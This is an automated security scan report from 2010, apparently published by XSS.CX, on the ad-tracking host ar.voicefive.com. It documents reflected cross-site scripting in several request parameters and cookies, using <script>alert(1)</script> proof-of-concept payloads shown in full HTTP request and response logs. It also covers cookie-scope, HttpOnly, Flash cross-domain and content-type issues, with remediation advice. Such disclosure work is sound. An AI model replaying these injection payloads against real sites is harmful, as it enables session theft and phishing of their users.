Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the func request parameter is copied into the HTML document as plain text between tags. The payload d712c<script>alert(1)</script>3a9a9c79049 was submitted in the func parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:28 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 83
The value of the AR_C request parameter is copied into the HTML document as plain text between tags. The payload d6a4a<script>alert(1)</script>0fdae97e3ca was submitted in the AR_C parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the PRAd request parameter is copied into the HTML document as plain text between tags. The payload 19538<script>alert(1)</script>3e546798a43 was submitted in the PRAd parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the BMX_3PC cookie is copied into the HTML document as plain text between tags. The payload 2feea<script>alert(1)</script>9d97c7f1e05 was submitted in the BMX_3PC cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /bmx3/broker.pli?pid=p68511049&PRAd=264243125&AR_C=185637089 HTTP/1.1 Accept: */* Referer: http://redcated/MRT/iview/264243125/direct;wi.728;hi.90/01?ENN_rnd=12891615198676&click=http://www.ectnews.com/adsys/link/%3Fcreative%3d6910%26ENN_rnd%3d12891615198676%26ENN_target= Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: ar.voicefive.com Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; BMX_3PC=12feea<script>alert(1)</script>9d97c7f1e05; ar_p68511049=exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&; UID=1cd3015e-204.0.5.41-1289161499; ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:44 GMT Content-Type: application/x-javascript Connection: close Set-Cookie: ar_p68511049=exp=2&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 21:44:44 2010&prad=264243125&arc=185637089&; expires=Sat 05-Feb-2011 21:44:44 GMT; path=/; domain=.voicefive.com; Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 24863
if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264243125",Pid:"p68511049",Arc:"185637089",Location: ...[SNIP]... SCORE.BMX.Broker.Cookies={ "UID": '1cd3015e-204.0.5.41-1289161499', "ar_p39750809": 'exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&', "BMX_3PC": '12feea<script>alert(1)</script>9d97c7f1e05', "BMX_G": 'method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C', "ar_p68511049": 'exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&' ...[SNIP]...
The value of the BMX_G cookie is copied into the HTML document as plain text between tags. The payload 49a0a<script>alert(1)</script>a82abd44ec2 was submitted in the BMX_G cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /bmx3/broker.pli?pid=p68511049&PRAd=264243125&AR_C=185637089 HTTP/1.1 Accept: */* Referer: http://redcated/MRT/iview/264243125/direct;wi.728;hi.90/01?ENN_rnd=12891615198676&click=http://www.ectnews.com/adsys/link/%3Fcreative%3d6910%26ENN_rnd%3d12891615198676%26ENN_target= Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: ar.voicefive.com Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C49a0a<script>alert(1)</script>a82abd44ec2; BMX_3PC=1; ar_p68511049=exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&; UID=1cd3015e-204.0.5.41-1289161499; ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:41 GMT Content-Type: application/x-javascript Connection: close Set-Cookie: ar_p68511049=exp=2&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 21:44:41 2010&prad=264243125&arc=185637089&; expires=Sat 05-Feb-2011 21:44:41 GMT; path=/; domain=.voicefive.com; Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 24863
if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264243125",Pid:"p68511049",Arc:"185637089",Location: ...[SNIP]... 750809": 'exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&', "BMX_3PC": '1', "BMX_G": 'method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C49a0a<script>alert(1)</script>a82abd44ec2', "ar_p68511049": 'exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&' }; COMSCORE.BMX.Broker.GlobalConfig={ "urlExcludeList": "http://photobucket. ...[SNIP]...
The value of the UID cookie is copied into the HTML document as plain text between tags. The payload 16211<script>alert(1)</script>9bb7c7fb076 was submitted in the UID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /bmx3/broker.pli?pid=p68511049&PRAd=264243125&AR_C=185637089 HTTP/1.1 Accept: */* Referer: http://redcated/MRT/iview/264243125/direct;wi.728;hi.90/01?ENN_rnd=12891615198676&click=http://www.ectnews.com/adsys/link/%3Fcreative%3d6910%26ENN_rnd%3d12891615198676%26ENN_target= Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: ar.voicefive.com Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; BMX_3PC=1; ar_p68511049=exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&; UID=1cd3015e-204.0.5.41-128916149916211<script>alert(1)</script>9bb7c7fb076; ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:53 GMT Content-Type: application/x-javascript Connection: close Set-Cookie: ar_p68511049=exp=2&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 21:44:53 2010&prad=264243125&arc=185637089&; expires=Sat 05-Feb-2011 21:44:53 GMT; path=/; domain=.voicefive.com; Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 24863
if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264243125",Pid:"p68511049",Arc:"185637089",Location: ...[SNIP]... un Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&', "BMX_G": 'method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C', "UID": '1cd3015e-204.0.5.41-128916149916211<script>alert(1)</script>9bb7c7fb076', "BMX_3PC": '1', "ar_p68511049": 'exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&' }; COMSCORE.BMX.Broker.GlobalConfig={ "urlExcludeList": "ht ...[SNIP]...
The value of the ar_p39750809 cookie is copied into the HTML document as plain text between tags. The payload 9deb1<script>alert(1)</script>034c21f405a was submitted in the ar_p39750809 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /bmx3/broker.pli?pid=p68511049&PRAd=264243125&AR_C=185637089 HTTP/1.1 Accept: */* Referer: http://redcated/MRT/iview/264243125/direct;wi.728;hi.90/01?ENN_rnd=12891615198676&click=http://www.ectnews.com/adsys/link/%3Fcreative%3d6910%26ENN_rnd%3d12891615198676%26ENN_target= Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: ar.voicefive.com Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; BMX_3PC=1; ar_p68511049=exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&; UID=1cd3015e-204.0.5.41-1289161499; ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&9deb1<script>alert(1)</script>034c21f405a
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:56 GMT Content-Type: application/x-javascript Connection: close Set-Cookie: ar_p68511049=exp=2&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 21:44:56 2010&prad=264243125&arc=185637089&; expires=Sat 05-Feb-2011 21:44:56 GMT; path=/; domain=.voicefive.com; Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 24863
if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264243125",Pid:"p68511049",Arc:"185637089",Location: ...[SNIP]... eady.onload); }}}}}},f:[],done:false,timer:null};})();}COMSCORE.BMX.Broker.Cookies={ "ar_p39750809": 'exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&9deb1<script>alert(1)</script>034c21f405a', "BMX_G": 'method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C', "UID": '1cd3015e-204.0.5.41-1289161499', "BMX_3PC": '1', "ar_p68511049": 'exp=1&initExp=Sun Nov 7 20:24:58 2010&recE ...[SNIP]...
The value of the ar_p68511049 cookie is copied into the HTML document as plain text between tags. The payload bce5f<script>alert(1)</script>51d2fb07021 was submitted in the ar_p68511049 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /bmx3/broker.pli?pid=p68511049&PRAd=264243125&AR_C=185637089 HTTP/1.1 Accept: */* Referer: http://redcated/MRT/iview/264243125/direct;wi.728;hi.90/01?ENN_rnd=12891615198676&click=http://www.ectnews.com/adsys/link/%3Fcreative%3d6910%26ENN_rnd%3d12891615198676%26ENN_target= Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: ar.voicefive.com Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; BMX_3PC=1; ar_p68511049=exp=1&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 20:24:58 2010&prad=264243128&arc=186035359&bce5f<script>alert(1)</script>51d2fb07021; UID=1cd3015e-204.0.5.41-1289161499; ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 21:44:49 GMT Content-Type: application/x-javascript Connection: close Set-Cookie: ar_p68511049=exp=2&initExp=Sun Nov 7 20:24:58 2010&recExp=Sun Nov 7 21:44:49 2010&bce5f<script>alert(1)</script>51d2fb07021=&prad=264243125&arc=185637089&; expires=Sat 05-Feb-2011 21:44:49 GMT; path=/; domain=.voicefive.com; Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 24863
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: ar.voicefive.com
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 20:38:57 GMT Content-Type: text/xml Connection: close Vary: Accept-Encoding Accept-Ranges: bytes Content-Length: 230 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 20:24:59 GMT Content-Type: image/gif Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com; Content-length: 42 P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&; expires=Sat 05-Feb-2011 20:25:16 GMT; path=/; domain=.voicefive.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 20:24:59 GMT Content-Type: image/gif Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1289161499%2E014%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com; Content-length: 42 P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent
The following cookie was issued by the application and does not have the HttpOnly flag set:
ar_p39750809=exp=1&initExp=Sun Nov 7 20:25:16 2010&recExp=Sun Nov 7 20:25:16 2010&prad=1067891&arc=1401137&; expires=Sat 05-Feb-2011 20:25:16 GMT; path=/; domain=.voicefive.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The response contains the following Content-type statement:
Content-Type: application/x-javascript
The response states that it contains script. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
HTTP/1.1 200 OK Server: nginx Date: Sun, 07 Nov 2010 20:25:09 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 42
COMSCORE.BMX.Broker.handleInteraction("");
Report generated by XSS.CX at Sun Nov 07 17:43:02 CST 2010.